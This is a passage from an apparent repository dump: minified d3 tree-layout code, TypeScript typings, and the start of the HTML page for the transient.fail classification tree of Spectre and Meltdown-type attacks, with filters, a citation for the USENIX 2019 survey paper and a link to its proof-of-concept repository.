i=r.x0,o=r.y0,u=r.x1-e,a=r.y1-e;u<i&&(i=u=(i+u)/2),a<o&&(o=a=(o+a)/2),r.x0=i,r.y0=o,r.x1=u,r.y1=a}}(n,o)),r&&i.eachBefore(B),i}return i.round=function(t){return arguments.length?(r=!!t,i):r},i.size=function(e){return arguments.length?(t=+e[0],n=+e[1],i):[t,n]},i.padding=function(t){return arguments.length?(e=+t,i):e},i},D=\"$\",H={depth:-1},X={};function Y(t){return t.id}function R(t){return t.parentId}var V=function(){var t=Y,n=R;function e(e){var r,i,o,u,a,c,s,l=e.length,p=new Array(l),d={};for(i=0;i<l;++i)r=e[i],a=p[i]=new f(r),null!=(c=t(r,i,e))&&(c+=\"\")&&(d[s=D+(a.id=c)]=s in d?X:a);for(i=0;i<l;++i)if(a=p[i],null!=(c=n(e[i],i,e))&&(c+=\"\")){if(!(u=d[D+c]))throw new Error(\"missing: \"+c);if(u===X)throw new Error(\"ambiguous: \"+c);u.children?u.children.push(a):u.children=[a],a.parent=u}else{if(o)throw new Error(\"multiple roots\");o=a}if(!o)throw new Error(\"no root\");if(o.parent=H,o.eachBefore(function(t){t.depth=t.parent.depth+1,--l}).eachBefore(h),o.parent=null,l>0)throw new Error(\"cycle\");return o}return e.id=function(n){return arguments.length?(t=E(n),e):t},e.parentId=function(t){return arguments.length?(n=E(t),e):n},e};function W(t,n){return t.parent===n.parent?1:2}function F(t){var n=t.children;return n?n[0]:t.t}function U(t){var n=t.children;return n?n[n.length-1]:t.t}function $(t,n,e){var r=e/(n.i-t.i);n.c-=r,n.s+=e,t.c+=r,n.z+=e,n.m+=e}function G(t,n,e){return t.a.parent===n.parent?t.a:e}function K(t,n){this._=t,this.parent=null,this.children=null,this.A=null,this.a=this,this.z=0,this.m=0,this.c=0,this.s=0,this.t=null,this.i=n}K.prototype=Object.create(f.prototype);var Q=function(){var t=W,n=1,e=1,r=null;function i(i){var c=function(t){for(var n,e,r,i,o,u=new K(t,0),a=[u];n=a.pop();)if(r=n._.children)for(n.children=new Array(o=r.length),i=o-1;i>=0;--i)a.push(e=n.children[i]=new K(r[i],i)),e.parent=n;return(u.parent=new K(null,0)).children=[u],u}(i);if(c.eachAfter(o),c.parent.m=-c.z,c.eachBefore(u),r)i.eachBefore(a);else{var s=i,l=i,h=i;i.eachBefore(function(t){t.x<s.x&&(s=t),t.x>l.x&&(l=t),t.depth>h.depth&&(h=t)});var f=s===l?1:t(s,l)/2,p=f-s.x,d=n/(l.x+f+p),v=e/(h.depth||1);i.eachBefore(function(t){t.x=(t.x+p)*d,t.y=t.depth*v})}return i}function o(n){var e=n.children,r=n.parent.children,i=n.i?r[n.i-1]:null;if(e){!function(t){for(var n,e=0,r=0,i=t.children,o=i.length;--o>=0;)(n=i[o]).z+=e,n.m+=e,e+=n.s+(r+=n.c)}(n);var o=(e[0].z+e[e.length-1].z)/2;i?(n.z=i.z+t(n._,i._),n.m=n.z-o):n.z=o}else i&&(n.z=i.z+t(n._,i._));n.parent.A=function(n,e,r){if(e){for(var i,o=n,u=n,a=e,c=o.parent.children[0],s=o.m,l=u.m,h=a.m,f=c.m;a=U(a),o=F(o),a&&o;)c=F(c),(u=U(u)).a=n,(i=a.z+h-o.z-s+t(a._,o._))>0&&($(G(a,n,r),n,i),s+=i,l+=i),h+=a.m,s+=o.m,f+=c.m,l+=u.m;a&&!U(u)&&(u.t=a,u.m+=h-l),o&&!F(c)&&(c.t=o,c.m+=s-f,r=n)}return r}(n,i,n.parent.A||r[0])}function u(t){t._.x=t.z+t.parent.m,t.m+=t.parent.m}function a(t){t.x*=n,t.y=t.depth*e}return i.separation=function(n){return arguments.length?(t=n,i):t},i.size=function(t){return arguments.length?(r=!1,n=+t[0],e=+t[1],i):r?null:[n,e]},i.nodeSize=function(t){return arguments.length?(r=!0,n=+t[0],e=+t[1],i):r?[n,e]:null},i},Z=function(t,n,e,r,i){for(var o,u=t.children,a=-1,c=u.length,s=t.value&&(i-e)/t.value;++a<c;)(o=u[a]).x0=n,o.x1=r,o.y0=e,o.y1=e+=o.value*s},J=(1+Math.sqrt(5))/2;function tt(t,n,e,r,i,o){for(var u,a,c,s,l,h,f,p,d,v,y,m=[],g=n.children,_=0,w=0,x=g.length,b=n.value;_<x;){c=i-e,s=o-r;do{l=g[w++].value}while(!l&&w<x);for(h=f=l,y=l*l*(v=Math.max(s/c,c/s)/(b*t)),d=Math.max(f/y,y/h);w<x;++w){if(l+=a=g[w].value,a<h&&(h=a),a>f&&(f=a),y=l*l*v,(p=Math.max(f/y,y/h))>d){l-=a;break}d=p}m.push(u={value:l,dice:c<s,children:g.slice(_,w)}),u.dice?I(u,e,r,i,b?r+=s*l/b:o):Z(u,e,r,b?e+=c*l/b:i,o),b-=l,_=w}return m}var nt=function t(n){function e(t,e,r,i,o){tt(n,t,e,r,i,o)}return e.ratio=function(n){return t((n=+n)>1?n:1)},e}(J),et=function(){var t=nt,n=!1,e=1,r=1,i=[0],o=S,u=S,a=S,c=S,s=S;function l(t){return t.x0=t.y0=0,t.x1=e,t.y1=r,t.eachBefore(h),i=[0],n&&t.eachBefore(B),t}function h(n){var e=i[n.depth],r=n.x0+e,l=n.y0+e,h=n.x1-e,f=n.y1-e;h<r&&(r=h=(r+h)/2),f<l&&(l=f=(l+f)/2),n.x0=r,n.y0=l,n.x1=h,n.y1=f,n.children&&(e=i[n.depth+1]=o(n)/2,r+=s(n)-e,l+=u(n)-e,(h-=a(n)-e)<r&&(r=h=(r+h)/2),(f-=c(n)-e)<l&&(l=f=(l+f)/2),t(n,r,l,h,f))}return l.round=function(t){return arguments.length?(n=!!t,l):n},l.size=function(t){return arguments.length?(e=+t[0],r=+t[1],l):[e,r]},l.tile=function(n){return arguments.length?(t=E(n),l):t},l.padding=function(t){return arguments.length?l.paddingInner(t).paddingOuter(t):l.paddingInner()},l.paddingInner=function(t){return arguments.length?(o=\"function\"==typeof t?t:O(+t),l):o},l.paddingOuter=function(t){return arguments.length?l.paddingTop(t).paddingRight(t).paddingBottom(t).paddingLeft(t):l.paddingTop()},l.paddingTop=function(t){return arguments.length?(u=\"function\"==typeof t?t:O(+t),l):u},l.paddingRight=function(t){return arguments.length?(a=\"function\"==typeof t?t:O(+t),l):a},l.paddingBottom=function(t){return arguments.length?(c=\"function\"==typeof t?t:O(+t),l):c},l.paddingLeft=function(t){return arguments.length?(s=\"function\"==typeof t?t:O(+t),l):s},l},rt=function(t,n,e,r,i){var o,u,a=t.children,c=a.length,s=new Array(c+1);for(s[0]=u=o=0;o<c;++o)s[o+1]=u+=a[o].value;!function t(n,e,r,i,o,u,c){if(n>=e-1){var l=a[n];return l.x0=i,l.y0=o,l.x1=u,void(l.y1=c)}var h=s[n],f=r/2+h,p=n+1,d=e-1;for(;p<d;){var v=p+d>>>1;s[v]<f?p=v+1:d=v}f-s[p-1]<s[p]-f&&n+1<p&&--p;var y=s[p]-h,m=r-y;if(u-i>c-o){var g=(i*m+u*y)/r;t(n,p,y,i,o,g,c),t(p,e,m,g,o,u,c)}else{var _=(o*m+c*y)/r;t(n,p,y,i,o,u,_),t(p,e,m,i,_,u,c)}}(0,c,t.value,n,e,r,i)},it=function(t,n,e,r,i){(1&t.depth?Z:I)(t,n,e,r,i)},ot=function t(n){function e(t,e,r,i,o){if((u=t._squarify)&&u.ratio===n)for(var u,a,c,s,l,h=-1,f=u.length,p=t.value;++h<f;){for(c=(a=u[h]).children,s=a.value=0,l=c.length;s<l;++s)a.value+=c[s].value;a.dice?I(a,e,r,i,r+=(o-r)*a.value/p):Z(a,e,r,e+=(i-e)*a.value/p,o),p-=a.value}else t._squarify=u=tt(n,t,e,r,i,o),u.ratio=n}return e.ratio=function(n){return t((n=+n)>1?n:1)},e}(J);e.d(n,\"cluster\",function(){return u}),e.d(n,\"hierarchy\",function(){return c}),e.d(n,\"pack\",function(){return P}),e.d(n,\"packSiblings\",function(){return N}),e.d(n,\"packEnclose\",function(){return d}),e.d(n,\"partition\",function(){return C}),e.d(n,\"stratify\",function(){return V}),e.d(n,\"tree\",function(){return Q}),e.d(n,\"treemap\",function(){return et}),e.d(n,\"treemapBinary\",function(){return rt}),e.d(n,\"treemapDice\",function(){return I}),e.d(n,\"treemapSlice\",function(){return Z}),e.d(n,\"treemapSliceDice\",function(){return it}),e.d(n,\"treemapSquarify\",function(){return nt}),e.d(n,\"treemapResquarify\",function(){return ot})}])});"
  },
  {
    "path": "docs/dist/typescript/d3.d.ts",
    "content": "import { hierarchy, stratify, tree, treemap } from \"d3-hierarchy\";\nimport { select, selectAll } from \"d3-selection\";\nimport { zoom } from \"d3-zoom\";\ndeclare const _default: {\n    hierarchy: typeof hierarchy;\n    stratify: typeof stratify;\n    tree: typeof tree;\n    treemap: typeof treemap;\n    select: typeof select;\n    selectAll: typeof selectAll;\n    event: any;\n    zoom: typeof zoom;\n};\nexport default _default;\n"
  },
  {
    "path": "docs/dist/typescript/draw-links.d.ts",
    "content": "import { ITreeConfig } from \"./typings\";\ninterface ICoordinates {\n    x: number;\n    y: number;\n}\nexport declare const generateLinkLayout: (s: ICoordinates, d: ICoordinates, treeConfig: ITreeConfig) => string;\nexport {};\n"
  },
  {
    "path": "docs/dist/typescript/index.d.ts",
    "content": "import { ITreeConfig } from \"./typings\";\nexport declare function create(userSettings: Partial<ITreeConfig>): {\n    refresh: (data: any, newSettings?: Partial<ITreeConfig> | undefined) => void;\n    clean: (keepConfig: boolean) => void;\n};\n"
  },
  {
    "path": "docs/dist/typescript/initializeSVG.d.ts",
    "content": "import * as d3 from \"d3-selection\";\nimport { ITreeConfig } from \"./typings\";\nexport declare const initiliazeSVG: (treeConfig: ITreeConfig) => d3.Selection<SVGGElement, unknown, HTMLElement, any>;\n"
  },
  {
    "path": "docs/dist/typescript/link-enter.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nimport { BaseType, Selection } from \"d3-selection\";\nimport { ITreeConfig } from \"./typings\";\nexport declare const drawLinkEnter: (link: Selection<BaseType, HierarchyPointNode<{}>, SVGGElement, {}>, computedTree: HierarchyPointNode<{}>, settings: ITreeConfig) => Selection<SVGPathElement, HierarchyPointNode<{}>, SVGGElement, {}>;\n"
  },
  {
    "path": "docs/dist/typescript/link-exit.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nimport { BaseType, Selection } from \"d3-selection\";\nimport { ITreeConfig } from \"./typings\";\nexport declare const drawLinkExit: (link: Selection<BaseType, HierarchyPointNode<{}>, SVGGElement, {}>, settings: ITreeConfig) => void;\n"
  },
  {
    "path": "docs/dist/typescript/link-update.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nimport { BaseType, Selection } from \"d3-selection\";\nimport { ITreeConfig } from \"./typings\";\nexport declare const drawLinkUpdate: (linkEnter: Selection<SVGPathElement, HierarchyPointNode<{}>, SVGGElement, {}>, link: Selection<BaseType, HierarchyPointNode<{}>, SVGGElement, {}>, settings: ITreeConfig) => void;\n"
  },
  {
    "path": "docs/dist/typescript/links/draw-links.d.ts",
    "content": "import { ITreeConfig } from \"../typings\";\ninterface ICoordinates {\n    x: number;\n    y: number;\n}\nexport declare const generateLinkLayout: (s: ICoordinates, d: ICoordinates, treeConfig: ITreeConfig) => string;\nexport {};\n"
  },
  {
    "path": "docs/dist/typescript/links/link-enter.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nimport { BaseType, Selection } from \"d3-selection\";\nimport { ExtendedHierarchyPointNode, ITreeConfig } from \"../typings\";\nexport declare const drawLinkEnter: (link: Selection<BaseType, HierarchyPointNode<{}>, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => Selection<SVGPathElement, HierarchyPointNode<{}>, SVGGElement, {}>;\n"
  },
  {
    "path": "docs/dist/typescript/links/link-exit.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nimport { BaseType, Selection } from \"d3-selection\";\nimport { ExtendedHierarchyPointNode, ITreeConfig } from \"../typings\";\nexport declare const drawLinkExit: (link: Selection<BaseType, HierarchyPointNode<{}>, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => void;\n"
  },
  {
    "path": "docs/dist/typescript/links/link-update.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nimport { BaseType, Selection } from \"d3-selection\";\nimport { ITreeConfig } from \"../typings\";\nexport declare const drawLinkUpdate: (linkEnter: Selection<SVGPathElement, HierarchyPointNode<{}>, SVGGElement, {}>, link: Selection<BaseType, HierarchyPointNode<{}>, SVGGElement, {}>, settings: ITreeConfig) => void;\n"
  },
  {
    "path": "docs/dist/typescript/node-enter.d.ts",
    "content": "import { BaseType, Selection } from \"d3-selection\";\nimport { ExtendedHierarchyPointNode, ITreeConfig } from \"./typings\";\nexport declare const placeNodeEnter: (node: Selection<BaseType, ExtendedHierarchyPointNode, SVGGElement, {}>, settings: ITreeConfig) => Selection<SVGGElement, ExtendedHierarchyPointNode, SVGGElement, {}>;\n"
  },
  {
    "path": "docs/dist/typescript/node-exit.d.ts",
    "content": "export declare const placeExit: (node: any, settings: any) => any;\n"
  },
  {
    "path": "docs/dist/typescript/nodes/node-enter.d.ts",
    "content": "import { BaseType, Selection } from \"d3-selection\";\nimport { ExtendedHierarchyPointNode, ITreeConfig } from \"../typings\";\nexport declare const drawNodeEnter: (node: Selection<BaseType, ExtendedHierarchyPointNode, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => Selection<SVGGElement, ExtendedHierarchyPointNode, SVGGElement, {}>;\n"
  },
  {
    "path": "docs/dist/typescript/nodes/node-exit.d.ts",
    "content": "import { BaseType, Selection } from \"d3-selection\";\nimport { ExtendedHierarchyPointNode, ITreeConfig } from \"../typings\";\nexport declare const drawNodeExit: (node: Selection<BaseType, ExtendedHierarchyPointNode, SVGGElement, {}>, settings: ITreeConfig, nodes: ExtendedHierarchyPointNode[], oldNodes: ExtendedHierarchyPointNode[]) => void;\n"
  },
  {
    "path": "docs/dist/typescript/nodes/node-update.d.ts",
    "content": "import { BaseType, Selection } from \"d3-selection\";\nimport { ExtendedHierarchyPointNode, ITreeConfig } from \"../typings\";\nexport declare const drawNodeUpdate: (nodeEnter: Selection<SVGGElement, ExtendedHierarchyPointNode, SVGGElement, {}>, node: Selection<BaseType, ExtendedHierarchyPointNode, SVGGElement, {}>, settings: ITreeConfig) => void;\n"
  },
  {
    "path": "docs/dist/typescript/prepare-data.d.ts",
    "content": "import { HierarchyNode } from \"d3-hierarchy\";\nimport { ITreeConfig } from \"./typings\";\nexport declare const generateNestedData: (data: any, treeConfig: ITreeConfig) => HierarchyNode<any>;\nexport declare const generateBasicTreemap: (treeConfig: ITreeConfig) => import(\"d3-hierarchy\").TreeLayout<unknown>;\n"
  },
  {
    "path": "docs/dist/typescript/services.d.ts",
    "content": "export declare const getAreaSize: (htmlId: string) => {\n    areaWidth: number;\n    areaHeight: number;\n};\n"
  },
  {
    "path": "docs/dist/typescript/typings.d.ts",
    "content": "import { HierarchyPointNode } from \"d3-hierarchy\";\nexport interface ITreeConfig {\n    htmlId: string;\n    idKey: string;\n    relationnalField: string;\n    hasFlatData: boolean;\n    nodeWidth: number;\n    nodeHeight: number;\n    mainAxisNodeSpacing: number | \"auto\";\n    renderNode: (node: any) => string | null;\n    linkShape?: \"quadraticBeziers\" | \"curve\" | \"orthogonal\" | \"\";\n    linkColor: (node: any) => string;\n    linkWidth: (node: any) => number;\n    onNodeClick: (node: any) => void;\n    onNodeMouseEnter: (node: any) => void;\n    onNodeMouseLeave: (node: any) => void;\n    isHorizontal: boolean;\n    hasPanAndZoom: boolean;\n    duration: number;\n    marginTop: number;\n    marginBottom: number;\n    marginLeft: number;\n    marginRight: number;\n    secondaryAxisNodeSpacing: number;\n}\nexport interface ExtendedHierarchyPointNode extends HierarchyPointNode<{}> {\n    x0?: number;\n    y0?: number;\n}\n"
  },
  {
    "path": "docs/dist/typescript/utils.d.ts",
    "content": "import { ExtendedHierarchyPointNode, ITreeConfig } from \"./typings\";\nexport declare const getAreaSize: (\n  htmlId: string\n) => {\n  areaWidth: number;\n  areaHeight: number;\n};\ndeclare type Result = ExtendedHierarchyPointNode & {\n  x0: number;\n  y0: number;\n};\nexport declare const getFirstDisplayedAncestor: (\n  ghostNodes: ExtendedHierarchyPointNode[],\n  viewableNodes: ExtendedHierarchyPointNode[],\n  id: string\n) => Result;\nexport declare const setNodeLocation: (\n  xPosition: number,\n  yPosition: number,\n  settings: ITreeConfig\n) => string;\nexport {};\n"
  },
  {
    "path": "docs/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0\" />\n    <meta name=\"description\" content=\"\">\n\n    <title>Transient Execution Attacks</title>\n\n    <link href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" crossorigin=\"anonymous\">\n    <link href=\"https://fonts.googleapis.com/css?family=Roboto\" rel=\"stylesheet\">\n\n    <script src=\"https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js\"></script>\n    <script src=\"https://code.jquery.com/jquery-3.4.1.min.js\" integrity=\"sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=\" crossorigin=\"anonymous\"></script>\n    <script defer src=\"https://use.fontawesome.com/releases/v5.0.2/js/all.js\"></script>\n    <script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js\" integrity=\"sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM\" crossorigin=\"anonymous\"></script>\n\n    <script src=\"dist/index.js\"></script>\n    <script src=\"dist/FileSaver.min.js\"></script>\n    <script src=\"bibliography.js\"></script>\n    <script src=\"js/filter.js\"></script>\n    <script src=\"js/export.js\"></script>\n    <script src=\"tree.js\"></script>\n\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"css/style.css\">\n</head>\n\n<body>\n    <div class=\"container-fluid\">\n        <div class=\"row\">\n            <div class=\"col-lg-9 col-md-9 col-sm-9\">\n            <form onsubmit=\"filter(); return false;\">\n            <div class=\"form-group\">\n                <div class=\"custom-control custom-checkbox custom-control-inline\">\n                    <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleSpectre\" checked>\n                    <label class=\"custom-control-label\" for=\"toggleSpectre\">Spectre</label>\n                </div>\n                <div class=\"custom-control custom-checkbox custom-control-inline\">\n                    <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleMeltdown\" checked>\n                    <label class=\"custom-control-label\" for=\"toggleMeltdown\">Meltdown</label>\n                </div>\n\n                <div class=\"button-group custom-control-inline\">\n                    <button type=\"button\" class=\"btn btn-default dropdown-toggle\" data-toggle=\"dropdown\">Buffer</button>\n                    <ul class=\"dropdown-menu\">\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleL1\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleL1\">L1 cache</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleLFB\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleLFB\">Line fill buffer</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleSB\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleSB\">Store buffer</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleLP\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleLP\">Load ports</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleREG\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleREG\">CPU registers</label>\n                            </div>\n                        </a></li>\n                       <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleMEM\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleMEM\">Memory</label>\n                            </div>\n                        </a></li>\n                    </ul>\n                </div>\n\n                <div class=\"button-group custom-control-inline\">\n                    <button type=\"button\" class=\"btn btn-default dropdown-toggle\" data-toggle=\"dropdown\">Vendor</button>\n                    <ul class=\"dropdown-menu\">\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleIntel\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleIntel\">Intel</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleARM\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleARM\">ARM</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleAMD\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleAMD\">AMD</label>\n                            </div>\n                        </a></li>\n                        <!--\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleIBM\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleIBM\">IBM</label>\n                            </div>\n                        </a></li>\n                        -->\n                    </ul>\n                </div>\n\n                <div class=\"button-group custom-control-inline\">\n                    <button type=\"button\" class=\"btn btn-default dropdown-toggle\" data-toggle=\"dropdown\">More filters</button>\n                    <ul class=\"dropdown-menu\">\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleTodo\">\n                                <label class=\"custom-control-label\" for=\"toggleTodo\">Unexplored</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleFails\">\n                                <label class=\"custom-control-label\" for=\"toggleFails\">Non-working</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleWorking\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleWorking\">Working</label>\n                            </div>\n                        </a></li>\n                        <hr>\n                        <!--\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"togglePaper\" checked>\n                                <label class=\"custom-control-label\" for=\"togglePaper\">Academic paper</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleNoPaper\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleNoPaper\">No academic paper</label>\n                            </div>\n                        </a></li>\n                        <hr>\n                        -->\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"togglePoC\" checked>\n                                <label class=\"custom-control-label\" for=\"togglePoC\">With PoC</label>\n                            </div>\n                        </a></li>\n                        <li>&nbsp;<a>\n                            <div class=\"custom-control custom-checkbox custom-control-inline\">\n                                <input type=\"checkbox\" class=\"custom-control-input\" id=\"toggleNoPoC\" checked>\n                                <label class=\"custom-control-label\" for=\"toggleNoPoC\">Without PoC</label>\n                            </div>\n                        </a></li>\n\n                    </ul>\n                </div>\n\n                <div class=\"custom-control-inline\">\n                    <input type=\"text\" class=\"form-control\" placeholder=\"Search\" aria-label=\"Search\" aria-describedby=\"basic-addon2\" id=\"search\">\n                    <div class=\"input-group-append\">\n                        <button class=\"btn btn-outline-secondary\" type=\"submit\">Search</button>\n                    </div>\n                </div>\n\n\n                <div class=\"button-group custom-control-inline pull-right\">\n                    <button type=\"button\" class=\"btn btn-default dropdown-toggle\" data-toggle=\"dropdown\">Export</button>\n                    <ul class=\"dropdown-menu\">\n                        <li><a href=\"#\" class=\"dropdown-item\" onclick=\"exportSVG()\">SVG</a></li>\n                        <li><a href=\"#\" class=\"dropdown-item\" onclick=\"exportTikz()\">TikZ</a></li>\n                        <li><a href=\"#\" class=\"dropdown-item\" onclick=\"exportDOT()\">DOT</a></li>\n                    </ul>\n                </div>\n\n                <!-- Modal activation button -->\n                <div class=\"button-group custom-control-inline\">\n                      <button type=\"button\" class=\"btn btn-primary\" data-toggle=\"modal\" data-target=\"#cite-modal\">Cite</button>\n                </div>\n\n                <div class=\"button-group custom-control-inline align-bottom\">\n                <a class=\"github-button\" href=\"https://github.com/IAIK/transientfail\" data-icon=\"octicon-star\" data-size=\"large\" data-show-count=\"true\" aria-label=\"Star IAIK/transientfail on GitHub\">Star</a>\n                </div>\n\n                <div class=\"button-group custom-control-inline align-bottom\">\n                <a class=\"github-button\" href=\"https://github.com/IAIK/transientfail/issues\" data-size=\"large\" data-show-count=\"true\" aria-label=\"Issue IAIK/transientfail on GitHub\">Issue</a>\n                </div>\n\n                <!-- Modal -->\n                <div class=\"modal fade\" id=\"cite-modal\" tabindex=\"1\" role=\"dialog\" aria-labelledby=\"cite-modal\" aria-hidden=\"true\">\n                  <div class=\"modal-dialog modal-lg modal-dialog-centered\" role=\"document\">\n                    <div class=\"modal-content\">\n                      <div class=\"modal-header\">\n                        <h5 class=\"modal-title\" id=\"ModalLongTitle\">Bibtex Entry</h5>\n                        <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">\n                          <span aria-hidden=\"true\">&times;</span>\n                        </button>\n                      </div>\n                      <div class=\"modal-body\">\n                        @inproceedings{Canella2019extended,<br>\n                        &nbsp;&nbsp;title = {{A Systematic Evaluation of Transient Execution Attacks and Defenses}},<br>\n                        &nbsp;&nbsp;author = {Canella, Claudio and Van Bulck, Jo and Schwarz, Michael and Lipp, Moritz and von Berg, Benjamin and Ortner, Philipp and Piessens, Frank and Evtyushkin, Dmitry and Gruss, Daniel},<br>\n                        &nbsp;&nbsp;booktitle = {USENIX Security Symposium},<br>\n                        &nbsp;&nbsp;year = {2019},<br>\n                        &nbsp;&nbsp;note = {extended classification tree at https://transient.fail/},<br>\n                        &nbsp;}<br>\n                      </div>\n                      <div class=\"modal-footer\">\n                        <button type=\"button\" class=\"btn btn-secondary\" data-dismiss=\"modal\">Close</button>\n                      </div>\n                    </div>\n                  </div>\n                </div>\n            </div>\n            </form>\n            <div id=\"tree\" style=\"height:90vh;width:100%;z-index:0\"></div>\n            </div>\n            <div class=\"col-lg-3 col-md-3 col-sm-3\">\n                <div class=\"card\">\n                    <div class=\"card-header\">\n                        Details\n                    </div>\n                    <div class=\"card-body\">\n                        <h5 class=\"card-title\" id=\"dbox_title\"></h5>\n                        <div id=\"dbox_img\" align=\"center\" style=\"display: none;\"></div>\n                        <p class=\"card-text\" id=\"dbox\">Click on a node for more information.</p>\n                        <p class=\"card-text\" id=\"dbox_todo\" style=\"display: none;\"></p>\n                    </div>\n                    <ul class=\"list-group list-group-flush\">\n                        <li class=\"list-group-item\" id=\"dbox_h_src\" style=\"display: none;\"><b>References</b><br><div id=\"dbox_src\"></div></li>\n                        <li class=\"list-group-item\" id=\"dbox_h_affected\" style=\"display: none;\"><b>Known to be affected</b><br><div id=\"dbox_affected\"></div></li>\n                        <li class=\"list-group-item\" id=\"dbox_h_aka\" style=\"display: none;\"><b>Also known as</b><br><div id=\"dbox_aka\"></div></li>\n                        <li class=\"list-group-item\" id=\"dbox_h_cve\" style=\"display: none;\"><b>CVE</b><br><div id=\"dbox_cve\"></div></li>\n                        <li class=\"list-group-item\" id=\"dbox_h_poc\" style=\"display: none;\"><b>PoC</b><br><div id=\"dbox_poc\"></div></li>\n                    </ul>\n\n                </div>\n            </div>\n        </div>\n    </div>\n<footer class=\"site-footer container-fluid\"><p class=\"float-left\"><a href=\"https://github.com/IAIK/transientfail\" target=\"_blank\">Proof-of-Concept Repository</a></p><p class=\"float-right\"> &copy; 2020 Graz University of Technology. All Rights Reserved. &middot; <a href=\"https://www.tugraz.at/en/about-this-page/legal-notice\" target=\"_blank\">Legal Notice</a></p></footer>\n\n<script>\n    function replaceStr(str, replaceWhat, replaceTo){\n        replaceWhat = replaceWhat.replace(/[-\\/\\\\^$*+?.()|[\\]{}]/g, '\\\\$&');\n        var re = new RegExp(replaceWhat, 'gi');\n        return str.replace(re, replaceTo);\n    }\n\n    function highlightSearch(input, term) {\n        if(term === undefined || term == \"\" || term.trim().length == 0) return 